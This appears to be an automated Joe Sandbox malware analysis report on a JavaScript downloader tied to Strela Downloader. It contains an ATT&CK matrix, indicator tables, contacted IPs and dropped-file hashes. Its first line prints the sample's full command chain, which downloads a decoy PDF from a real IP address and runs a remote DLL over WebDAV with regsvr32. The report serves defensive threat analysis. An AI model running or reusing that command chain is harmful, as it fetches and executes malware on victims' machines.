Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5503463779138895.js	5%	Virustotal		Browse
5503463779138895.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Kz9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/smdJ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/wz=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/smdJ	net.exe, 00000006.00000002.1799292756.000001EE33DC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1794738967.00000202FA132000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/3	net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Kz9	net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3018681047.00000202FA200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1799424043.000001EE33E1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785475417.000001EE33E1B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799292756.000001EE33DC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1794738967.00000202FA132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/wz=	net.exe, 00000006.00000003.1796035515.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799343561.000001EE33DFA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588166
Start date and time:	2025-01-10 22:07:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5503463779138895.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 173.222.162.32, 172.202.163.200, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:08:50	API Interceptor	26x Sleep call for process: powershell.exe modified
16:08:54	API Interceptor	1x Sleep call for process: net.exe modified
16:08:54	API Interceptor	2x Sleep call for process: svchost.exe modified
16:09:07	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073504555662505
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr5:KooCEYhgYEL0In
MD5:	45747851D1162C1F480E4E60BF56574E
SHA1:	E348B7489ED72CD375842EF5416F766D0EAA6464
SHA-256:	B2E9E548B8BC5823FEDBC49DCEDAE3F5E4CB069F56B152094E80D362014FCFF0
SHA-512:	0EB2F7D8D9AD9E987EFCD6B371E3397412C843A3592A057FDCB7511387C95F38CF4B8C4A51ECD95EC4AF1B9E54EAB44F65189BF72A9AA3C14A6DE89AA9AED613
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1599121b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215769222290955
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	DFB60B6E502F850BDAB1A8D12E149952
SHA1:	6E1F6D958D8B8EFB480E443842A6D733A5CE2FD7
SHA-256:	8843EB0A0A359453C4F8C3396EB6143C3D82301647FED5E7ECD806171DD74E7F
SHA-512:	0795075406BE2CE5D91B5A386957897F4D8AE67BA3DE2D6548351A947A3E619D0D3CF4C6D5BB449F31439BE8B15FE54B7E3BFB9987DA9F55C0F4D18F89096429
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.7....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................7....}y....................7....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07697787776496665
Encrypted:	false
SSDEEP:	3:silllllKYelsR4kgejjn13a/uvJ41YllcVO/lnlZMxZNQl:tt/KzlsXbj53qAOewk
MD5:	827C79EC1A148B9A5A327D0AD0FCFCB3
SHA1:	54F05DC983104ED992C888F863B0AFC3846E9A0E
SHA-256:	E47670695A8713148C8803D4C0B47B261D84CE0963B573DC9EAEF1580DA5382D
SHA-512:	B59E7373FB0316B9DB8AAF3AD5664074ED8D442E1FC529303B2A11A23631019A788B031AC0D93A90BFD2DBDF05D5CD46BC4D63F76D3993DB5038A13B26D0CF13
Malicious:	false
Preview:	.........................................;...{..7....}.......{A..............{A......{A..........{A]...................7....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.214970957778765
Encrypted:	false
SSDEEP:	6:iO43SjTeq2Pwkn2nKuAl9OmbnIFUtS3Sj8Zmws3Sj8kwOwkn2nKuAl9OmbjLJ:79jTevYfHAahFUt7j8/Zj85JfHAaSJ
MD5:	578E6A6F6E9F1E916F88AD264D3B28AD
SHA1:	AA218CBA5C2BCE683B645C2248AE61E42479C57D
SHA-256:	D54581EB7C63C8E4F48B9B30A1ADFEDF96903CB872D37D74EA2BB5EF41409C51
SHA-512:	BDEAB03EE37B8E6B8C1E6676C62C4080F68E971F9133F77E6D293A2D3C75CA65D87D6FBB8A1C44E93875F4DFC147A4ADAEA8E0DD9F44043259082AB4787FC0A5
Malicious:	false
Preview:	2025/01/10-16:08:54.495 16c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:08:54.498 16c0 Recovering log #3.2025/01/10-16:08:54.498 16c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.214970957778765
Encrypted:	false
SSDEEP:	6:iO43SjTeq2Pwkn2nKuAl9OmbnIFUtS3Sj8Zmws3Sj8kwOwkn2nKuAl9OmbjLJ:79jTevYfHAahFUt7j8/Zj85JfHAaSJ
MD5:	578E6A6F6E9F1E916F88AD264D3B28AD
SHA1:	AA218CBA5C2BCE683B645C2248AE61E42479C57D
SHA-256:	D54581EB7C63C8E4F48B9B30A1ADFEDF96903CB872D37D74EA2BB5EF41409C51
SHA-512:	BDEAB03EE37B8E6B8C1E6676C62C4080F68E971F9133F77E6D293A2D3C75CA65D87D6FBB8A1C44E93875F4DFC147A4ADAEA8E0DD9F44043259082AB4787FC0A5
Malicious:	false
Preview:	2025/01/10-16:08:54.495 16c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:08:54.498 16c0 Recovering log #3.2025/01/10-16:08:54.498 16c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1944535715385225
Encrypted:	false
SSDEEP:	6:iO43Sb+q2Pwkn2nKuAl9Ombzo2jMGIFUtS3SLHZZmws3SLHNVkwOwkn2nKuAl9OU:79CvYfHAa8uFUt7LHZ/ZLHz5JfHAa8RJ
MD5:	C90CD3520B9324EEA8501D287399BACC
SHA1:	F4929C456AFB4484EDD375B3DD5E47F9E7A0C314
SHA-256:	285FC209BEA08661597621D8D341A33FDBD5752ADB873C6FCAE6254EA6FA074A
SHA-512:	196A63B1906426AB7D4F1386873620BBF5D69E460A15EB14E59074C03F71A1DE11228681052D140C6DAAEBCEAA1B4E307FE2B6D5787839919F92D5887E1AC8C6
Malicious:	false
Preview:	2025/01/10-16:08:54.553 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:08:54.555 1c78 Recovering log #3.2025/01/10-16:08:54.555 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1944535715385225
Encrypted:	false
SSDEEP:	6:iO43Sb+q2Pwkn2nKuAl9Ombzo2jMGIFUtS3SLHZZmws3SLHNVkwOwkn2nKuAl9OU:79CvYfHAa8uFUt7LHZ/ZLHz5JfHAa8RJ
MD5:	C90CD3520B9324EEA8501D287399BACC
SHA1:	F4929C456AFB4484EDD375B3DD5E47F9E7A0C314
SHA-256:	285FC209BEA08661597621D8D341A33FDBD5752ADB873C6FCAE6254EA6FA074A
SHA-512:	196A63B1906426AB7D4F1386873620BBF5D69E460A15EB14E59074C03F71A1DE11228681052D140C6DAAEBCEAA1B4E307FE2B6D5787839919F92D5887E1AC8C6
Malicious:	false
Preview:	2025/01/10-16:08:54.553 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:08:54.555 1c78 Recovering log #3.2025/01/10-16:08:54.555 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958337528440935
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMsBdOg2H6JAcaq3QYiubInP7E4T3y:Y2sRds4dMHo3QYhbG7nby
MD5:	AB3A299D0CB161A760E55DB52DD93C0D
SHA1:	B60B084221649BD380AE1B9A4C48C33496FFC284
SHA-256:	FA023AD869EB1BDEDA7E5ED8796F3F89E3AC46710AB4D83F40A3B2E5C6824187
SHA-512:	3856F69099543B784C06FAF2C9054EB6E67C5C29950942AA8B83E1327E8282E20A36AC64C326B3CDE31949EA80DD724EE3B487C44206FDCD968CC96915F13368
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103347099031","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134603},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0ca7049-2a0f-4fba-81b0-9da1d2fc8c06.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958337528440935
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMsBdOg2H6JAcaq3QYiubInP7E4T3y:Y2sRds4dMHo3QYhbG7nby
MD5:	AB3A299D0CB161A760E55DB52DD93C0D
SHA1:	B60B084221649BD380AE1B9A4C48C33496FFC284
SHA-256:	FA023AD869EB1BDEDA7E5ED8796F3F89E3AC46710AB4D83F40A3B2E5C6824187
SHA-512:	3856F69099543B784C06FAF2C9054EB6E67C5C29950942AA8B83E1327E8282E20A36AC64C326B3CDE31949EA80DD724EE3B487C44206FDCD968CC96915F13368
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103347099031","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134603},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256617192359726
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7mdJyX6:etJCV4FiN/jTN/2r8Mta02fEhgO73gow
MD5:	87BE8409A5D7DE9F070705574503B644
SHA1:	3584809BCB6C79C1ED607A6B9EDB501B831371DD
SHA-256:	6533DE2914EB576884F568A0AE896430FD58BA625F0B8DFAFF0DB7044A4483FE
SHA-512:	313213E3F6D1C6ECF3412E2373BF5EC0077842223F1D7AF8CD3621D9E4B5126A49C8B8C79A3387A2D712EE156A7D6B0CB0BE07F8300B2795D50C816B4682869E
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.225061856164837
Encrypted:	false
SSDEEP:	6:iO43ShTfuFN+q2Pwkn2nKuAl9OmbzNMxIFUtS3Shd2Zmws3Sh0NVkwOwkn2nKuAo:79BfuFIvYfHAa8jFUt7+/ZG5JfHAa84J
MD5:	FEFC0110DD125693F7E038C001765C04
SHA1:	5C5533D04CAE7A93BCB21F89521DF4DC0F555609
SHA-256:	27E619E65FC8AA073E2E571A4766EFD4646B64BD36E4D3F74A8EE5E63F1584FA
SHA-512:	50DFFB254D52271079ABDB795BA410860B82FE4579F3157332916D4903E952312E8993A8600F5B74333BD545E2F91AF95B8EFE5AA180093E5F7EC064E20C79B6
Malicious:	false
Preview:	2025/01/10-16:08:54.677 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:08:54.679 1c78 Recovering log #3.2025/01/10-16:08:54.680 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.225061856164837
Encrypted:	false
SSDEEP:	6:iO43ShTfuFN+q2Pwkn2nKuAl9OmbzNMxIFUtS3Shd2Zmws3Sh0NVkwOwkn2nKuAo:79BfuFIvYfHAa8jFUt7+/ZG5JfHAa84J
MD5:	FEFC0110DD125693F7E038C001765C04
SHA1:	5C5533D04CAE7A93BCB21F89521DF4DC0F555609
SHA-256:	27E619E65FC8AA073E2E571A4766EFD4646B64BD36E4D3F74A8EE5E63F1584FA
SHA-512:	50DFFB254D52271079ABDB795BA410860B82FE4579F3157332916D4903E952312E8993A8600F5B74333BD545E2F91AF95B8EFE5AA180093E5F7EC064E20C79B6
Malicious:	false
Preview:	2025/01/10-16:08:54.677 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:08:54.679 1c78 Recovering log #3.2025/01/10-16:08:54.680 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444747784132164
Encrypted:	false
SSDEEP:	384:yezci5twiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rHs3OazzU89UTTgUL
MD5:	94473047A83B109265909F2767228310
SHA1:	2A746D18E8B00EE453F0B9FB8A6CBA80BEC3970A
SHA-256:	894D801DF724DDFA8EF5009E71F1D6CFA8917404A213F84DBCD8A80C975FFFD8
SHA-512:	FE611F474D0B4A0867B6884D272F82961FE69AE41438660DC7A4188E801EFD56A99EDC62D28E7C820F4651ED31564BCE77F7830CD998D0B5A4D86FDDBF863F45
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7711121120426494
Encrypted:	false
SSDEEP:	48:7MRp/E2ioyVoDioy9oWoy1Cwoy1dwKOioy1noy1AYoy1Wioy1hioybioyHsoy1nH:72pjuoDF60XKQ8+Jb9IVXEBodRBkb
MD5:	EBFE067229D8695494F4FE3830DB3864
SHA1:	9E8C7C059ED21EDA6BD7DAB43E0E2BE5F703B32A
SHA-256:	CB79E38117E33E751C064A4B631C0CA0F387AFEC6CED16B5538A2C865F124019
SHA-512:	D79B08CA235A4EC859631B8ACFAA733551DD2596E6DD939FE60794D045B0093F928998AD22A045A36A60ED78131F82F28157F2A17950014110A6504B9D71130E
Malicious:	false
Preview:	.... .c......i,................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
